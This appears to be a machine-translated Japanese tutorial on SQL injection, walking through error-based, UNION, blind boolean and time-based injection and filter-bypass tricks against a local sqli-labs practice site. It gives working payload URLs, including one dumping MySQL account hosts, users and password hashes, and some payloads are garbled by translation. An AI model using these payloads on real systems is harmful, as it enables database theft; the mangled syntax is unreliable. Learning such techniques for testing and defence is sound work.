1.SQLインジェクションの原則
1.1SQLインジェクションの概要
SQLインジェクションとは、Webアプリケーションがユーザー入力データの正当性を判断しないことを意味します。攻撃者はフロントエンドがバックエンドパラメータを渡すタイミングを制御でき、パラメータはクエリ用にデータベースに置き換えられます。攻撃者は構築できます。データベースの任意の操作を実現するためのさまざまなSQLステートメント
SQLインジェクションの脆弱性は、次の2つの条件を満たす必要があります:
a。パラメータはユーザーが制御可能です
.b。パラメータはクエリのためにデータベースに取り込まれます。着信パラメータはSQLステートメントにスプライスされ、クエリのためにデータベースに取り込まれます
1.2SQLインジェクションの危険性
a。データベースの機密情報が漏洩している
b、ページが改ざんされている、
c、データベースが悪意を持って操作されている
d、サーバーがリモート制御されている
1.3SQLインジェクションの分類
a。SQLインジェクションは、インジェクション場所のデータ型に応じて、数値タイプと文字列タイプ(文字列インジェクション、数値インジェクション)の2つのタイプに分類できます
。b。返された結果に応じて、エラーインジェクションとブラインドに分類できます。注入
1.4SQLインジェクションの理由
a。データとコードが厳密に分離されていない
b。ユーザーが送信したパラメーターデータが完全にチェックおよびフィルタリングされておらず、SQLコマンドに取り込まれ、元のSQLコマンドが変更され、ターゲットデータベースによって実行されます。
1.5SQLインジェクションプロセスの説明
a。クライアントパラメータ値などのデータが変更されている
b。サーバーがSQLコマンドに変更されるデータをチェックおよびフィルタリングしていない、SQLコマンド関数が変更されている
c、データベースエンジンが変更されたSQLコマンドを実行している
d、クライアントはに基づいています最後の注入で取得された機密情報は、次の注入のために文を注入するように構築されてい
ますe。サーバーは注入の結果をクライアントに返します
2.手動SQLインジェクション
2.1GETおよびPOSTリクエスト
a、GET提交:请求的数据会添加在URL之后,以?分割URL和传输数据,多个参数用&连接
b、POST提交:把提交的数据放到HTTP包的包体中
違い:GETで送信されたデータはアドレスバーに表示されますが、POSTで送信された場合、アドレスバーは変更されません
2.2エラーインジェクション:シンボルを使用して、GETリクエストにインジェクションポイントがあるかどうかを確認します
この図のアドレスはhttp://127.0.0.1/sqli/less-1/?id=1です。
下の図のアドレスは増加している
ため、エラーが表示されます: '' 1 '' LIMIT 0,1 ' 、
SQLステートメントは事前に推測できます。As:select xxx from xxxx where id = '1' LIMIT 0,1で
あり、idがインジェクションポイントであることがわかります。
2.3表示エラーの挿入:データテーブルの列をorderbyで判断します。
例:URL:http://127.0.0.1/sqli/Less-1/?id = 1'order by 4- +
説明:この例では、 'は元のSQLクエリを開き、orderを4で追加して達成することを意味します変更クエリ、-コメントの後の元のSQLステートメントを示し、+はスペースを示します
テスト後、order by 1、order by 2、order by 3はすべて正常に機能します。orderby4の場合、表示インターフェイスは「orderclause」の不明な列「4」であるため、このアドレスデータテーブルには3つの列があります。
2.4表示エラーの挿入:クエリ表示、フィールド名、ユニオンによるフィールド値
2.4.1データアカウント、パスワード、接続IPを表示する
SELECT * FROM security.`users` WHERE ID=0 UNION SELECT 1,1,GROUP_CONCAT(HOST,USER,PASSWORD) FROM mysql.`user`
SQLインジェクションメソッド:
http ://127.0.0.1/sqli/less-1/?id = 0'UNION SELECT 1,1、GROUP_CONCAT(HOST、USER、PASSWORD)FROMmysql。- user
+
2.4.2現在のテーブル名を表示する
SELECT * FROM users WHERE ID=0 UNION SELECT 1,2,DATABASE()
SQLインジェクションメソッド:
http ://127.0.0.1/sqli/less-1/?id = 0'UNION SELECT 1,2、DATABASE()-+
2.4.3mysqlデータベースの現在のデータベース内のすべてのテーブルをクエリします
SELECT * FROM security.`users` WHERE ID=0 UNION SELECT 1,1,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()
SQLインジェクション:
http ://127.0.0.1/sqli/less-1/?id = 0'UNION SELECT 1,1、GROUP_CONCAT(table_name)FROM information_schema.tables WHERE table_schema = DATABASE()-+
2.4.4mysqlデータベースの現在のデータベースの指定されたフィールドをクエリします
SELECT * FROM security.`users` WHERE ID=0 UNION SELECT 1,1,GROUP_CONCAT(column_name) FROM information_schema.`COLUMNS` WHERE table_schema=DATABASE() AND table_name='users'
SQLインジェクション:
http ://127.0.0.1/sqli/less-1/?id = 0'UNION SELECT 1,1、GROUP_CONCAT(column_name)FROMinformation_schema。COLUMNS
WHERE table_schema = DATABASE()AND table_name = 'users'-+
2.5 盲注
2.5.1ブラインドインジェクションの概要
ブラインドSQL(ブラインドインジェクション)は、データベースにtrueやfalseなどの問題が発生し、アプリケーションから返された情報に基づいて結果が判断されるインジェクション攻撃の1つです。この攻撃は、アプリケーションが一般的なエラーのみを表示するように構成されているために発生しますが、SQLインジェクションのコードの問題は解決しません。
2.5.1ブラインドの種類
a、ブール型
b、タイムブラインド
2.5.2時間ベースのブラインドを取得する
現在の注入が時間遅延によって正しいかどうかを判断します
SELECT IF(ASCII(SUBSTR(DATABASE(),1,1))=113,1,SLEEP(5))
上記のSQLステートメントで、SUBSTR(string、start、length)は、フィールドを取得し、Databases()によって取得されたデータテーブル名の最初の文字を取得し、ASCIIを介してこの文字を数値と比較することを意味します。if(condition、True、False)。
SQLインジェクションメソッド:
http ://127.0.0.1/sqli/less-1/?id = 0'UNION IF(ASCII(SUBSTR(DATABASE()、1,1))= 115,1、SLEEP(5))- -+
2.5.3時間ベースのブールブラインドを取得する
ブールブラインドノートに基づいて、データベース名の長さを推測するために通常、次の方法を使用します
SELECT (SELECT LENGTH(DATABASE())>5)
SQLインジェクションメソッド:
http ://127.0.0.1/sqli/Less-8/?id = 0 'または(SELECT LENGTH(DATABASE())> 5)-+
SELECT (SELECT ASCII(SUBSTR(DATABASE(),1,1)))>75
SQLインジェクションメソッド:
http ://127.0.0.1/sqli/Less-8/?id = 0 'または(SELECT ASCII(SUBSTR(DATABASE()、1,1)))> 75- +
2.6POSTインジェクション
インジェクション方法はgetと同じです。通常、POST送信ポイントはURLバーではなく、送信ボックスにあります。
2.6.1POSTのエラーベースの注入特性
1.POSTリクエストをキャッシュできません
2.POSTリクエストはブラウザの閲覧履歴
に保存されません3.POSTによってリクエストされたURLはブラウザのブックマークとして保存できません
4.POSTリクエストには長さの制限がありません
3.SQLインジェクションバイパス手段
3.1ケースバイパス
例:
-a、AnD 1 = 1
-b、順序付け、OrdERを使用してバイパスできます
3.2二重書き込みバイパス
例:
uniunionon unionは空に置き換えられます。または、caseと組み合わせてバイパスできます。
3.3エンコーディングバイパス
URLエンコードを介して
3.4インラインコメントバイパス
次の
ようなSQLコメントを介して:/ !select / * from users;